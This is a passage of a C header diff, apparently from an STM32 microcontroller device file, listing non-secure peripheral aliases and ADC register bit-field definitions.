HASH_DIGEST_NS +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_NS + +#define RNG RNG_NS +#define RNG_BASE RNG_BASE_NS + +#define PKA PKA_NS +#define PKA_BASE PKA_BASE_NS +#define PKA_RAM_BASE PKA_RAM_BASE_NS + + + +#define SDMMC1 SDMMC1_NS +#define SDMMC1_BASE SDMMC1_BASE_NS + + +#define FMC_Bank1_R FMC_Bank1_R_NS +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_NS + +#define FMC_Bank1E_R FMC_Bank1E_R_NS +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_NS + +#define FMC_Bank3_R FMC_Bank3_R_NS +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_NS + +#define OCTOSPI1 OCTOSPI1_NS +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_NS + +#define DLYB_SDMMC1 DLYB_SDMMC1_NS +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_NS + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_NS +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_NS + +#endif + + +/******************************************************************************/ +/* */ +/* Analog to Digital Converter */ +/* */ +/******************************************************************************/ +#define ADC_MULTIMODE_SUPPORT /*!< ADC feature available only on specific devices: multimode available on devices with several ADC instances */ +/******************** Bit definition for ADC_ISR register *******************/ +#define ADC_ISR_ADRDY_Pos (0U) +#define ADC_ISR_ADRDY_Msk (0x1UL << ADC_ISR_ADRDY_Pos) /*!< 0x00000001 */ +#define ADC_ISR_ADRDY ADC_ISR_ADRDY_Msk /*!< ADC ready flag */ +#define ADC_ISR_EOSMP_Pos (1U) +#define ADC_ISR_EOSMP_Msk (0x1UL << ADC_ISR_EOSMP_Pos) /*!< 0x00000002 */ +#define ADC_ISR_EOSMP ADC_ISR_EOSMP_Msk /*!< ADC group regular end of sampling flag */ +#define ADC_ISR_EOC_Pos (2U) +#define ADC_ISR_EOC_Msk (0x1UL << ADC_ISR_EOC_Pos) /*!< 0x00000004 */ +#define ADC_ISR_EOC ADC_ISR_EOC_Msk /*!< ADC group regular end of unitary conversion flag */ +#define ADC_ISR_EOS_Pos (3U) +#define ADC_ISR_EOS_Msk (0x1UL << ADC_ISR_EOS_Pos) /*!< 0x00000008 */ +#define ADC_ISR_EOS ADC_ISR_EOS_Msk /*!< ADC group regular end of sequence conversions flag */ +#define ADC_ISR_OVR_Pos (4U) +#define ADC_ISR_OVR_Msk (0x1UL << ADC_ISR_OVR_Pos) /*!< 0x00000010 */ +#define ADC_ISR_OVR ADC_ISR_OVR_Msk /*!< ADC group regular overrun flag */ +#define ADC_ISR_JEOC_Pos (5U) +#define ADC_ISR_JEOC_Msk (0x1UL << ADC_ISR_JEOC_Pos) /*!< 0x00000020 */ +#define ADC_ISR_JEOC ADC_ISR_JEOC_Msk /*!< ADC group injected end of unitary conversion flag */ +#define ADC_ISR_JEOS_Pos (6U) +#define ADC_ISR_JEOS_Msk (0x1UL << ADC_ISR_JEOS_Pos) /*!< 0x00000040 */ +#define ADC_ISR_JEOS ADC_ISR_JEOS_Msk /*!< ADC group injected end of sequence conversions flag */ +#define ADC_ISR_AWD1_Pos (7U) +#define ADC_ISR_AWD1_Msk (0x1UL << ADC_ISR_AWD1_Pos) /*!< 0x00000080 */ +#define ADC_ISR_AWD1 ADC_ISR_AWD1_Msk /*!< ADC analog watchdog 1 flag */ +#define ADC_ISR_AWD2_Pos (8U) +#define ADC_ISR_AWD2_Msk (0x1UL << ADC_ISR_AWD2_Pos) /*!< 0x00000100 */ +#define ADC_ISR_AWD2 ADC_ISR_AWD2_Msk /*!< ADC analog watchdog 2 flag */ +#define ADC_ISR_AWD3_Pos (9U) +#define ADC_ISR_AWD3_Msk (0x1UL << ADC_ISR_AWD3_Pos) /*!< 0x00000200 */ +#define ADC_ISR_AWD3 ADC_ISR_AWD3_Msk /*!< ADC analog watchdog 3 flag */ +#define ADC_ISR_JQOVF_Pos (10U) +#define ADC_ISR_JQOVF_Msk (0x1UL << ADC_ISR_JQOVF_Pos) /*!< 0x00000400 */ +#define ADC_ISR_JQOVF ADC_ISR_JQOVF_Msk /*!< ADC group injected contexts queue overflow flag */ + +/******************** Bit definition for ADC_IER register *******************/ +#define ADC_IER_ADRDYIE_Pos (0U) +#define ADC_IER_ADRDYIE_Msk (0x1UL << ADC_IER_ADRDYIE_Pos) /*!< 0x00000001 */ +#define ADC_IER_ADRDYIE ADC_IER_ADRDYIE_Msk /*!< ADC ready interrupt */ +#define ADC_IER_EOSMPIE_Pos (1U) +#define ADC_IER_EOSMPIE_Msk (0x1UL << ADC_IER_EOSMPIE_Pos) /*!< 0x00000002 */ +#define ADC_IER_EOSMPIE ADC_IER_EOSMPIE_Msk /*!< ADC group regular end of sampling interrupt */ +#define ADC_IER_EOCIE_Pos (2U) +#define ADC_IER_EOCIE_Msk (0x1UL << ADC_IER_EOCIE_Pos) /*!< 0x00000004 */ +#define ADC_IER_EOCIE ADC_IER_EOCIE_Msk /*!< ADC group regular end of unitary conversion interrupt */ +#define ADC_IER_EOSIE_Pos (3U) +#define ADC_IER_EOSIE_Msk (0x1UL << ADC_IER_EOSIE_Pos) /*!< 0x00000008 */ +#define ADC_IER_EOSIE ADC_IER_EOSIE_Msk /*!< ADC group regular end of sequence conversions interrupt */ +#define ADC_IER_OVRIE_Pos (4U) +#define ADC_IER_OVRIE_Msk (0x1UL << ADC_IER_OVRIE_Pos) /*!< 0x00000010 */ +#define ADC_IER_OVRIE ADC_IER_OVRIE_Msk /*!< ADC group regular overrun interrupt */ +#define ADC_IER_JEOCIE_Pos (5U) +#define ADC_IER_JEOCIE_Msk (0x1UL << ADC_IER_JEOCIE_Pos) /*!< 0x00000020 */ +#define ADC_IER_JEOCIE ADC_IER_JEOCIE_Msk /*!< ADC group injected end of unitary conversion interrupt */ +#define ADC_IER_JEOSIE_Pos (6U) +#define ADC_IER_JEOSIE_Msk (0x1UL << ADC_IER_JEOSIE_Pos) /*!< 0x00000040 */ +#define ADC_IER_JEOSIE ADC_IER_JEOSIE_Msk /*!< ADC group injected end of sequence conversions interrupt */ +#define ADC_IER_AWD1IE_Pos (7U) +#define ADC_IER_AWD1IE_Msk (0x1UL << ADC_IER_AWD1IE_Pos) /*!< 0x00000080 */ +#define ADC_IER_AWD1IE ADC_IER_AWD1IE_Msk /*!< ADC analog watchdog 1 interrupt */ +#define ADC_IER_AWD2IE_Pos (8U) +#define ADC_IER_AWD2IE_Msk (0x1UL << ADC_IER_AWD2IE_Pos) /*!< 0x00000100 */ +#define ADC_IER_AWD2IE ADC_IER_AWD2IE_Msk /*!< ADC analog watchdog 2 interrupt */ +#define ADC_IER_AWD3IE_Pos (9U) +#define ADC_IER_AWD3IE_Msk (0x1UL << ADC_IER_AWD3IE_Pos) /*!< 0x00000200 */ +#define ADC_IER_AWD3IE ADC_IER_AWD3IE_Msk /*!< ADC analog watchdog 3 interrupt */ +#define ADC_IER_JQOVFIE_Pos (10U) +#define ADC_IER_JQOVFIE_Msk (0x1UL << ADC_IER_JQOVFIE_Pos) /*!< 0x00000400 */ +#define ADC_IER_JQOVFIE ADC_IER_JQOVFIE_Msk /*!< ADC group injected contexts queue overflow interrupt */ + +/******************** Bit definition for ADC_CR register ********************/ +#define ADC_CR_ADEN_Pos (0U) +#define ADC_CR_ADEN_Msk (0x1UL << ADC_CR_ADEN_Pos) /*!< 0x00000001 */ +#define ADC_CR_ADEN ADC_CR_ADEN_Msk /*!< ADC enable */ +#define ADC_CR_ADDIS_Pos (1U) +#define ADC_CR_ADDIS_Msk (0x1UL << ADC_CR_ADDIS_Pos) /*!< 0x00000002 */ +#define ADC_CR_ADDIS ADC_CR_ADDIS_Msk /*!< ADC disable */ +#define ADC_CR_ADSTART_Pos (2U) +#define ADC_CR_ADSTART_Msk (0x1UL << ADC_CR_ADSTART_Pos) /*!< 0x00000004 */ +#define ADC_CR_ADSTART ADC_CR_ADSTART_Msk /*!< ADC group regular conversion start */ +#define ADC_CR_JADSTART_Pos (3U) +#define ADC_CR_JADSTART_Msk (0x1UL << ADC_CR_JADSTART_Pos) /*!< 0x00000008 */ +#define ADC_CR_JADSTART ADC_CR_JADSTART_Msk /*!< ADC group injected conversion start */ +#define ADC_CR_ADSTP_Pos (4U) +#define ADC_CR_ADSTP_Msk (0x1UL << ADC_CR_ADSTP_Pos) /*!< 0x00000010 */ +#define ADC_CR_ADSTP ADC_CR_ADSTP_Msk /*!< ADC group regular conversion stop */ +#define ADC_CR_JADSTP_Pos (5U) +#define ADC_CR_JADSTP_Msk (0x1UL << ADC_CR_JADSTP_Pos) /*!< 0x00000020 */ +#define ADC_CR_JADSTP ADC_CR_JADSTP_Msk /*!< ADC group injected conversion stop */ +#define ADC_CR_ADVREGEN_Pos (28U) +#define ADC_CR_ADVREGEN_Msk (0x1UL << ADC_CR_ADVREGEN_Pos) /*!< 0x10000000 */ +#define ADC_CR_ADVREGEN ADC_CR_ADVREGEN_Msk /*!< ADC voltage regulator enable */ +#define ADC_CR_DEEPPWD_Pos (29U) +#define ADC_CR_DEEPPWD_Msk (0x1UL << ADC_CR_DEEPPWD_Pos) /*!< 0x20000000 */ +#define ADC_CR_DEEPPWD ADC_CR_DEEPPWD_Msk /*!< ADC deep power down enable */ +#define ADC_CR_ADCALDIF_Pos (30U) +#define ADC_CR_ADCALDIF_Msk (0x1UL << ADC_CR_ADCALDIF_Pos) /*!< 0x40000000 */ +#define ADC_CR_ADCALDIF ADC_CR_ADCALDIF_Msk /*!< ADC differential mode for calibration */ +#define ADC_CR_ADCAL_Pos (31U) +#define ADC_CR_ADCAL_Msk (0x1UL << ADC_CR_ADCAL_Pos) /*!< 0x80000000 */ +#define ADC_CR_ADCAL ADC_CR_ADCAL_Msk /*!< ADC calibration */ + +/******************** Bit definition for ADC_CFGR register ******************/ +#define ADC_CFGR_DMAEN_Pos (0U) +#define ADC_CFGR_DMAEN_Msk (0x1UL << ADC_CFGR_DMAEN_Pos) /*!< 0x00000001 */ +#define ADC_CFGR_DMAEN ADC_CFGR_DMAEN_Msk /*!< ADC DMA transfer enable */ +#define ADC_CFGR_DMACFG_Pos (1U) +#define ADC_CFGR_DMACFG_Msk (0x1UL << ADC_CFGR_DMACFG_Pos) /*!< 0x00000002 */ +#define ADC_CFGR_DMACFG ADC_CFGR_DMACFG_Msk /*!< ADC DMA transfer configuration */ + +#define ADC_CFGR_RES_Pos (3U) +#define ADC_CFGR_RES_Msk (0x3UL << ADC_CFGR_RES_Pos) /*!< 0x00000018 */ +#define ADC_CFGR_RES ADC_CFGR_RES_Msk /*!< ADC data resolution */ +#define ADC_CFGR_RES_0 (0x1UL << ADC_CFGR_RES_Pos) /*!< 0x00000008 */ +#define ADC_CFGR_RES_1 (0x2UL << ADC_CFGR_RES_Pos) /*!< 0x00000010 */ + +#define ADC_CFGR_EXTSEL_Pos (5U) +#define ADC_CFGR_EXTSEL_Msk (0x1FUL << ADC_CFGR_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC_CFGR_EXTSEL ADC_CFGR_EXTSEL_Msk /*!< ADC group regular external trigger source */ +#define ADC_CFGR_EXTSEL_0 (0x1UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_CFGR_EXTSEL_1 (0x2UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC_CFGR_EXTSEL_2 (0x4UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000080 */ +#define ADC_CFGR_EXTSEL_3 (0x8UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000100 */ +#define ADC_CFGR_EXTSEL_4 (0x10UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000200 */ + +#define ADC_CFGR_EXTEN_Pos (10U) +#define ADC_CFGR_EXTEN_Msk (0x3UL << ADC_CFGR_EXTEN_Pos) /*!< 0x00000C00 */ +#define ADC_CFGR_EXTEN ADC_CFGR_EXTEN_Msk /*!< ADC group regular external trigger polarity */ +#define ADC_CFGR_EXTEN_0 (0x1UL << ADC_CFGR_EXTEN_Pos) /*!< 0x00000400 */ +#define ADC_CFGR_EXTEN_1 (0x2UL << ADC_CFGR_EXTEN_Pos) /*!< 0x00000800 */ + +#define ADC_CFGR_OVRMOD_Pos (12U) +#define ADC_CFGR_OVRMOD_Msk (0x1UL << ADC_CFGR_OVRMOD_Pos) /*!< 0x00001000 */ +#define ADC_CFGR_OVRMOD ADC_CFGR_OVRMOD_Msk /*!< ADC group regular overrun configuration */ +#define ADC_CFGR_CONT_Pos (13U) +#define ADC_CFGR_CONT_Msk (0x1UL << ADC_CFGR_CONT_Pos) /*!< 0x00002000 */ +#define ADC_CFGR_CONT ADC_CFGR_CONT_Msk /*!< ADC group regular continuous conversion mode */ +#define ADC_CFGR_AUTDLY_Pos (14U) +#define ADC_CFGR_AUTDLY_Msk (0x1UL << ADC_CFGR_AUTDLY_Pos) /*!< 0x00004000 */ +#define ADC_CFGR_AUTDLY ADC_CFGR_AUTDLY_Msk /*!< ADC low power auto wait */ +#define ADC_CFGR_ALIGN_Pos (15U) +#define ADC_CFGR_ALIGN_Msk (0x1UL << ADC_CFGR_ALIGN_Pos) /*!< 0x00008000 */ +#define ADC_CFGR_ALIGN ADC_CFGR_ALIGN_Msk /*!< ADC data alignment */ +#define ADC_CFGR_DISCEN_Pos (16U) +#define ADC_CFGR_DISCEN_Msk (0x1UL << ADC_CFGR_DISCEN_Pos) /*!< 0x00010000 */ +#define ADC_CFGR_DISCEN ADC_CFGR_DISCEN_Msk /*!< ADC group regular sequencer discontinuous mode */ + +#define ADC_CFGR_DISCNUM_Pos (17U) +#define ADC_CFGR_DISCNUM_Msk (0x7UL << ADC_CFGR_DISCNUM_Pos) /*!< 0x000E0000 */ +#define ADC_CFGR_DISCNUM ADC_CFGR_DISCNUM_Msk /*!< ADC group regular sequencer discontinuous number of ranks */ +#define ADC_CFGR_DISCNUM_0 (0x1UL << ADC_CFGR_DISCNUM_Pos) /*!< 0x00020000 */ +#define ADC_CFGR_DISCNUM_1 (0x2UL << ADC_CFGR_DISCNUM_Pos) /*!< 0x00040000 */ +#define ADC_CFGR_DISCNUM_2 (0x4UL << ADC_CFGR_DISCNUM_Pos) /*!< 0x00080000 */ + +#define ADC_CFGR_JDISCEN_Pos (20U) +#define ADC_CFGR_JDISCEN_Msk (0x1UL << ADC_CFGR_JDISCEN_Pos) /*!< 0x00100000 */ +#define ADC_CFGR_JDISCEN ADC_CFGR_JDISCEN_Msk /*!< ADC group injected sequencer discontinuous mode */ +#define ADC_CFGR_JQM_Pos (21U) +#define ADC_CFGR_JQM_Msk (0x1UL << ADC_CFGR_JQM_Pos) /*!< 0x00200000 */ +#define ADC_CFGR_JQM ADC_CFGR_JQM_Msk /*!< ADC group injected contexts queue mode */ +#define ADC_CFGR_AWD1SGL_Pos (22U) +#define ADC_CFGR_AWD1SGL_Msk (0x1UL << ADC_CFGR_AWD1SGL_Pos) /*!< 0x00400000 */ +#define ADC_CFGR_AWD1SGL ADC_CFGR_AWD1SGL_Msk /*!< ADC analog watchdog 1 monitoring a single channel or all channels */ +#define ADC_CFGR_AWD1EN_Pos (23U) +#define ADC_CFGR_AWD1EN_Msk (0x1UL << ADC_CFGR_AWD1EN_Pos) /*!< 0x00800000 */ +#define ADC_CFGR_AWD1EN ADC_CFGR_AWD1EN_Msk /*!< ADC analog watchdog 1 enable on scope ADC group regular */ +#define ADC_CFGR_JAWD1EN_Pos (24U) +#define ADC_CFGR_JAWD1EN_Msk (0x1UL << ADC_CFGR_JAWD1EN_Pos) /*!< 0x01000000 */ +#define ADC_CFGR_JAWD1EN ADC_CFGR_JAWD1EN_Msk /*!< ADC analog watchdog 1 enable on scope ADC group injected */ +#define ADC_CFGR_JAUTO_Pos (25U) +#define ADC_CFGR_JAUTO_Msk (0x1UL << ADC_CFGR_JAUTO_Pos) /*!< 0x02000000 */ +#define ADC_CFGR_JAUTO ADC_CFGR_JAUTO_Msk /*!< ADC group injected automatic trigger mode */ + +#define ADC_CFGR_AWD1CH_Pos (26U) +#define ADC_CFGR_AWD1CH_Msk (0x1FUL << ADC_CFGR_AWD1CH_Pos) /*!< 0x7C000000 */ +#define ADC_CFGR_AWD1CH ADC_CFGR_AWD1CH_Msk /*!< ADC analog watchdog 1 monitored channel selection */ +#define ADC_CFGR_AWD1CH_0 (0x01UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x04000000 */ +#define ADC_CFGR_AWD1CH_1 (0x02UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x08000000 */ +#define ADC_CFGR_AWD1CH_2 (0x04UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x10000000 */ +#define ADC_CFGR_AWD1CH_3 (0x08UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x20000000 */ +#define ADC_CFGR_AWD1CH_4 (0x10UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x40000000 */ + +#define ADC_CFGR_JQDIS_Pos (31U) +#define ADC_CFGR_JQDIS_Msk (0x1UL << ADC_CFGR_JQDIS_Pos) /*!< 0x80000000 */ +#define ADC_CFGR_JQDIS ADC_CFGR_JQDIS_Msk /*!< ADC group injected contexts queue disable */ + +/******************** Bit definition for ADC_CFGR2 register *****************/ +#define ADC_CFGR2_ROVSE_Pos (0U) +#define ADC_CFGR2_ROVSE_Msk (0x1UL << ADC_CFGR2_ROVSE_Pos) /*!< 0x00000001 */ +#define ADC_CFGR2_ROVSE ADC_CFGR2_ROVSE_Msk /*!< ADC oversampler enable on scope ADC group regular */ +#define ADC_CFGR2_JOVSE_Pos (1U) +#define ADC_CFGR2_JOVSE_Msk (0x1UL << ADC_CFGR2_JOVSE_Pos) /*!< 0x00000002 */ +#define ADC_CFGR2_JOVSE ADC_CFGR2_JOVSE_Msk /*!< ADC oversampler enable on scope ADC group injected */ + +#define ADC_CFGR2_OVSR_Pos (2U) +#define ADC_CFGR2_OVSR_Msk (0x7UL << ADC_CFGR2_OVSR_Pos) /*!< 0x0000001C */ +#define ADC_CFGR2_OVSR ADC_CFGR2_OVSR_Msk /*!< ADC oversampling ratio */ +#define ADC_CFGR2_OVSR_0 (0x1UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00000004 */ +#define ADC_CFGR2_OVSR_1 (0x2UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00000008 */ +#define ADC_CFGR2_OVSR_2 (0x4UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00000010 */ + +#define ADC_CFGR2_OVSS_Pos (5U) +#define ADC_CFGR2_OVSS_Msk (0xFUL << ADC_CFGR2_OVSS_Pos) /*!< 0x000001E0 */ +#define ADC_CFGR2_OVSS ADC_CFGR2_OVSS_Msk /*!< ADC oversampling shift */ +#define ADC_CFGR2_OVSS_0 (0x1UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000020 */ +#define ADC_CFGR2_OVSS_1 (0x2UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000040 */ +#define ADC_CFGR2_OVSS_2 (0x4UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000080 */ +#define ADC_CFGR2_OVSS_3 (0x8UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000100 */ + +#define ADC_CFGR2_TROVS_Pos (9U) +#define ADC_CFGR2_TROVS_Msk (0x1UL << ADC_CFGR2_TROVS_Pos) /*!< 0x00000200 */ +#define ADC_CFGR2_TROVS ADC_CFGR2_TROVS_Msk /*!< ADC oversampling discontinuous mode (triggered mode) for ADC group regular */ +#define ADC_CFGR2_ROVSM_Pos (10U) +#define ADC_CFGR2_ROVSM_Msk (0x1UL << ADC_CFGR2_ROVSM_Pos) /*!< 0x00000400 */ +#define ADC_CFGR2_ROVSM ADC_CFGR2_ROVSM_Msk /*!< ADC oversampling mode managing interlaced conversions of ADC group regular and group injected */ + +#define ADC_CFGR2_GCOMP_Pos (16U) +#define ADC_CFGR2_GCOMP_Msk (0x1UL << ADC_CFGR2_GCOMP_Pos) /*!< 0x00010000 */ +#define ADC_CFGR2_GCOMP ADC_CFGR2_GCOMP_Msk /*!< ADC Gain Compensation mode */ + +#define ADC_CFGR2_SWTRIG_Pos (25U) +#define ADC_CFGR2_SWTRIG_Msk (0x1UL << ADC_CFGR2_SWTRIG_Pos) /*!< 0x02000000 */ +#define ADC_CFGR2_SWTRIG ADC_CFGR2_SWTRIG_Msk /*!< ADC Software Trigger Bit for Sample time control trigger mode */ +#define ADC_CFGR2_BULB_Pos (26U) +#define ADC_CFGR2_BULB_Msk (0x1UL << ADC_CFGR2_BULB_Pos) /*!< 0x04000000 */ +#define ADC_CFGR2_BULB ADC_CFGR2_BULB_Msk /*!< ADC Bulb sampling mode */ +#define ADC_CFGR2_SMPTRIG_Pos (27U) +#define ADC_CFGR2_SMPTRIG_Msk (0x1UL << ADC_CFGR2_SMPTRIG_Pos) /*!< 0x08000000 */ +#define ADC_CFGR2_SMPTRIG ADC_CFGR2_SMPTRIG_Msk /*!< ADC Sample Time Control Trigger mode */ + +#define ADC_CFGR2_LFTRIG_Pos (29U) +#define ADC_CFGR2_LFTRIG_Msk (0x1UL << ADC_CFGR2_LFTRIG_Pos) /*!< 0x20000000 */ +#define ADC_CFGR2_LFTRIG ADC_CFGR2_LFTRIG_Msk /*!< ADC Low Frequency Trigger */ + +/******************** Bit definition for ADC_SMPR1 register *****************/ +#define ADC_SMPR1_SMP0_Pos (0U) +#define ADC_SMPR1_SMP0_Msk (0x7UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000007 */ +#define ADC_SMPR1_SMP0 ADC_SMPR1_SMP0_Msk /*!< ADC channel 0 sampling time selection */ +#define ADC_SMPR1_SMP0_0 (0x1UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000001 */ +#define ADC_SMPR1_SMP0_1 (0x2UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000002 */ +#define ADC_SMPR1_SMP0_2 (0x4UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR1_SMP1_Pos (3U) +#define ADC_SMPR1_SMP1_Msk (0x7UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000038 */ +#define ADC_SMPR1_SMP1 ADC_SMPR1_SMP1_Msk /*!< ADC channel 1 sampling time selection */ +#define ADC_SMPR1_SMP1_0 (0x1UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000008 */ +#define ADC_SMPR1_SMP1_1 (0x2UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000010 */ +#define ADC_SMPR1_SMP1_2 (0x4UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR1_SMP2_Pos (6U) +#define ADC_SMPR1_SMP2_Msk (0x7UL << ADC_SMPR1_SMP2_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR1_SMP2 ADC_SMPR1_SMP2_Msk /*!< ADC channel 2 sampling time selection */ +#define ADC_SMPR1_SMP2_0 (0x1UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000040 */ +#define ADC_SMPR1_SMP2_1 (0x2UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000080 */ +#define ADC_SMPR1_SMP2_2 (0x4UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR1_SMP3_Pos (9U) +#define ADC_SMPR1_SMP3_Msk (0x7UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR1_SMP3 ADC_SMPR1_SMP3_Msk /*!< ADC channel 3 sampling time selection */ +#define ADC_SMPR1_SMP3_0 (0x1UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000200 */ +#define ADC_SMPR1_SMP3_1 (0x2UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000400 */ +#define ADC_SMPR1_SMP3_2 (0x4UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR1_SMP4_Pos (12U) +#define ADC_SMPR1_SMP4_Msk (0x7UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00007000 */ +#define ADC_SMPR1_SMP4 ADC_SMPR1_SMP4_Msk /*!< ADC channel 4 sampling time selection */ +#define ADC_SMPR1_SMP4_0 (0x1UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00001000 */ +#define ADC_SMPR1_SMP4_1 (0x2UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00002000 */ +#define ADC_SMPR1_SMP4_2 (0x4UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR1_SMP5_Pos (15U) +#define ADC_SMPR1_SMP5_Msk (0x7UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00038000 */ +#define ADC_SMPR1_SMP5 ADC_SMPR1_SMP5_Msk /*!< ADC channel 5 sampling time selection */ +#define ADC_SMPR1_SMP5_0 (0x1UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00008000 */ +#define ADC_SMPR1_SMP5_1 (0x2UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00010000 */ +#define ADC_SMPR1_SMP5_2 (0x4UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR1_SMP6_Pos (18U) +#define ADC_SMPR1_SMP6_Msk (0x7UL << ADC_SMPR1_SMP6_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR1_SMP6 ADC_SMPR1_SMP6_Msk /*!< ADC channel 6 sampling time selection */ +#define ADC_SMPR1_SMP6_0 (0x1UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00040000 */ +#define ADC_SMPR1_SMP6_1 (0x2UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00080000 */ +#define ADC_SMPR1_SMP6_2 (0x4UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR1_SMP7_Pos (21U) +#define ADC_SMPR1_SMP7_Msk (0x7UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR1_SMP7 ADC_SMPR1_SMP7_Msk /*!< ADC channel 7 sampling time selection */ +#define ADC_SMPR1_SMP7_0 (0x1UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00200000 */ +#define ADC_SMPR1_SMP7_1 (0x2UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00400000 */ +#define ADC_SMPR1_SMP7_2 (0x4UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR1_SMP8_Pos (24U) +#define ADC_SMPR1_SMP8_Msk (0x7UL << ADC_SMPR1_SMP8_Pos) /*!< 0x07000000 */ +#define ADC_SMPR1_SMP8 ADC_SMPR1_SMP8_Msk /*!< ADC channel 8 sampling time selection */ +#define ADC_SMPR1_SMP8_0 (0x1UL << ADC_SMPR1_SMP8_Pos) /*!< 0x01000000 */ +#define ADC_SMPR1_SMP8_1 (0x2UL << ADC_SMPR1_SMP8_Pos) /*!< 0x02000000 */ +#define ADC_SMPR1_SMP8_2 (0x4UL << ADC_SMPR1_SMP8_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR1_SMP9_Pos (27U) +#define ADC_SMPR1_SMP9_Msk (0x7UL << ADC_SMPR1_SMP9_Pos) /*!< 0x38000000 */ +#define ADC_SMPR1_SMP9 ADC_SMPR1_SMP9_Msk /*!< ADC channel 9 sampling time selection */ +#define ADC_SMPR1_SMP9_0 (0x1UL << ADC_SMPR1_SMP9_Pos) /*!< 0x08000000 */ +#define ADC_SMPR1_SMP9_1 (0x2UL << ADC_SMPR1_SMP9_Pos) /*!< 0x10000000 */ +#define ADC_SMPR1_SMP9_2 (0x4UL << ADC_SMPR1_SMP9_Pos) /*!< 0x20000000 */ + +#define ADC_SMPR1_SMPPLUS_Pos (31U) +#define ADC_SMPR1_SMPPLUS_Msk (0x1UL << ADC_SMPR1_SMPPLUS_Pos) /*!< 0x80000000 */ +#define ADC_SMPR1_SMPPLUS ADC_SMPR1_SMPPLUS_Msk /*!< ADC channels sampling time additional setting */ + +/******************** Bit definition for ADC_SMPR2 register *****************/ +#define ADC_SMPR2_SMP10_Pos (0U) +#define ADC_SMPR2_SMP10_Msk (0x7UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000007 */ +#define ADC_SMPR2_SMP10 ADC_SMPR2_SMP10_Msk /*!< ADC channel 10 sampling time selection */ +#define ADC_SMPR2_SMP10_0 (0x1UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000001 */ +#define ADC_SMPR2_SMP10_1 (0x2UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000002 */ +#define ADC_SMPR2_SMP10_2 (0x4UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR2_SMP11_Pos (3U) +#define ADC_SMPR2_SMP11_Msk (0x7UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000038 */ +#define ADC_SMPR2_SMP11 ADC_SMPR2_SMP11_Msk /*!< ADC channel 11 sampling time selection */ +#define ADC_SMPR2_SMP11_0 (0x1UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000008 */ +#define ADC_SMPR2_SMP11_1 (0x2UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000010 */ +#define ADC_SMPR2_SMP11_2 (0x4UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR2_SMP12_Pos (6U) +#define ADC_SMPR2_SMP12_Msk (0x7UL << ADC_SMPR2_SMP12_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR2_SMP12 ADC_SMPR2_SMP12_Msk /*!< ADC channel 12 sampling time selection */ +#define ADC_SMPR2_SMP12_0 (0x1UL << 